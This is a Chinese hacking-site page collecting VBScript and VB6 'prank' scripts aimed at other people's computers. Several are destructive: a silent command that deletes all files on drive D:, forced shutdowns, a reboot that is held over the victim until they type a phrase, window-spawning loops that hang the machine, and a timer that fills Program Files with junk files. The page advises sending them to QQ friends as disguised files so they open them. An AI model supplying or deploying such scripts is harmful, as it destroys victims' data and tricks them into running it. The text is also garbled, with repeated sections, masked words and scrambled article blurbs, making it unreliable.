当前位置:首页 > 黑客技术 > 正文内容

手机qq恶搞代码大全可复制(手机代码大全恶作剧)

hacker2年前 (2022-06-30)黑客技术907

本文目录一览:

我要 *** 聊天的恶搞代码

首先你在要建一个文本文档(在桌面点右键

新建

文本文档)把下面的你想要的代码复制

到文本文档

保存

把名字

txt

改成

vbs

OK

vbs

整人代码大 ***

一、

你打开好友的聊天对话框

然后记下在你

***

里好友的昵称

把下面代码里的

xx

替换一下

就可以自定义发送

***

信息到好友的次数

代码里的数字

10

改一下即可

xx.vbs=

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

xx

聊天中

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

***

骚扰信息

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

do

msgbox "You are foolish!"

loop

三、打开无数个计算器,直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

四、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

五、删除

D:\

所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

六、不断弹出窗口

while(1)

msgbox "

哈哈

你被耍了!

loop

七、不断按下

alt+f4

(开什么都关闭„„)

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按

500

次回车

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

500

可以随意更改

dim s

do until s=500

s=s+1

msgbox "

哥们,给我按

500

次回车吧

",64

loop

九、关不掉的窗口

WScript.Echo("

嘿,谢谢你打开我哦,我等你很久

拉!

"TSName)

WScript.Echo("

你是可爱的小朋吗

WScript.Echo("

我想你拉,这你都不知道吗?

[color=#FF0000]

复制以这个代码,在桌面建一个文本,把代码放进去,另存为

VBS

格式,

此代码的威力:

1

:开机就强制自动关机

2

cmd

命令打不开

3

:结束任务不管用

4

F8

安全模式也不管用

呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解 *** :就是再运行一次,就可以破解了,也就是第

2

次保存的那个

VBE

文件,

PS

:不要乱拿软件去整人,发生什么事可不要怪我啊。

拍拍手

顶起吧!

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

声明变量,其中“

count

”为静态变量,以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

生成文件的内容

nr = "

哈哈,被黑的感觉的不错吧

files = FreeFile

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

,以便产生不同的文件名

count = count + 1

产生文件名及文件句柄,并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

向文件写内容

Write #files, nr

清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示

Close #files

End If

End Sub

手机qq整人代码

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了

你自己也可以测试一下这个 *** 炸弹的威力。

手机qq整人代码大全谁有? 发一下 谢谢

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊!")

WScript.Echo("推荐你来的肯定是个坏蛋!")

WScript.Echo("欢迎来到被整软件站!")

WScript.Echo("是谁设计的?")

WScript.Echo("Is me")

WScript.Echo("你好,你要点30次确定哦!")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

手机 *** 的整人代码大全

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊!")

WScript.Echo("推荐你来的肯定是个坏蛋!")

WScript.Echo("欢迎来到被整软件站!")

WScript.Echo("是谁设计的?")

WScript.Echo("Is me")

WScript.Echo("你好,你要点30次确定哦!")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

qq红包整人代码5963515

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了

你自己也可以测试一下这个 *** 炸弹的威力。

qq装x代码

qq群装x代码复制是可以随时分享好玩的一些恶搞的代码,让大家都可以和好友有一个可以分享的社区,都是很有趣的,通过不同的设备进行分享,消息都可以同步可见,很好玩的。

qq群装x代码复制app特色:

1、可以直接使用竖名大全可复制,帮你直接生成竖起来的网名,可以用到各个软件上哦。

2、不管是游戏当中还是社交软件上面都可以,让你成为人群中最靓的那个崽,还有很多特殊符号大家可以关注一下。

qq群装x代码复制功能:

1、一键可以生成能召唤火影忍者的代码,非常的炫酷点击进去就有对应的代码。

2、如果是不热门的代码,回到主页,点击自己喜欢的代码即可。

软件点评:

1、这个工具的功能也是比较有意思和强大的,你可以自由的选择的。

2、可以让用户直接能拥有各种功能代码的生成器软件。

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/136695.html

分享给朋友:

“手机qq恶搞代码大全可复制(手机代码大全恶作剧)” 的相关文章

美国阿里巴巴股票价格 「阿里巴巴新浪财经」

那是造阿面 八年后的“归回。纽约证券生意业务 所邪式挂牌上市,海内 那么烂的股市,地猫等.点 三 九亿美圆超越 Facebook。 菜鸟、后来股价一起 下行,正在美国股票价钱 上市,阿面巴巴南京空儿 二0 一 四年 九月 一 九日早 二 三: 五 三正在。 将总计出售约 一点 二 三亿股美国存托股票...

红米手机中关村在线 - 荣耀手机中关村在线

统一 个价钱 区间的二款脚机,钱没有多又念游戏的购红米 Kirin 九 三 五。智能单地线,而红米脚机是小米脚机的子品牌,参数比照-ZOL外闭村正在线http/detazccn/ProductComp_param_ 三 四 二 八 九 六- 三 九 八 五html二款脚机的。 外肯,但要说那个价钱...

关于南极怪兽的电影

 一 九 五 八年 二月 一 三日下昼  一 七:00阁下 ,载有日原北极考查 队的“宗谷”在北极远洋的吕佐妇-霍我姆湾航止,忽然 有舟员年夜 喊“哥斯推”,由于  一 九 五 四年时日原东宝股份有限公司 制造 的怪兽片子 《哥斯推》曾经著名 于世, 对于没有亮年夜 型怪物喊没“哥斯推”长短 常天然...

宝马mini cooper_宝马mini cooper艺术家

若干 啊费油 吗尔是父孩念购啊.以是 价钱 更贱,马的MINIONE战MINICOOPER区分,MINIONE:MINICOOPER,苏伊士运河发作 和平,而出生 王谢 的,批红判白 。 设计竞赛 ,次要正在于:动员 机罪率分歧 、以上的仅仅展垫,中心 台播过,前脸采取 关闭 式的六边形外型,貌似像...

小米手机2价格_红米手机

小米打击  一亿年销质米粉怒迎红米 二贬价 mobizccn 二0 一 五年0 七月0 七日0 五: 二 八外闭村正在线新闻 :小米的红米 二,今朝 有卖的脚机有,红米脚机 二A是小米,发起 高载一款App小米商乡,容质版原。性价比下,假如 是淘宝上,红米脚机红米 一S。 红米 二若干 钱?提到红米...

苹果9参数配置(苹果9手机参数

苹因xs max是苹因 八后来拉没的型号,苹因私司宣布 了iPhone第三代产物 iPhone 三南京空儿 二0 一0,iPhone 三南京空儿 二00 九年 六月 九日清晨  二: 四 八分,似乎苹因也正在开辟 更年夜 版原。 iPhone XS Max采取  六点 五,iPhone 三G,设置装...

评论列表

青迟未芩
2年前 (2022-07-01)

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓五、删除D:\所有文件------------------------------------------------------------------

美咩榆西
2年前 (2022-06-30)

----------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscrip

断渊山柰
2年前 (2022-07-01)

--- 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓三、打开无数个计算器,直到死机---------------------------

囤梦猫爷
2年前 (2022-06-30)

的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs= =---------------------------------------

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。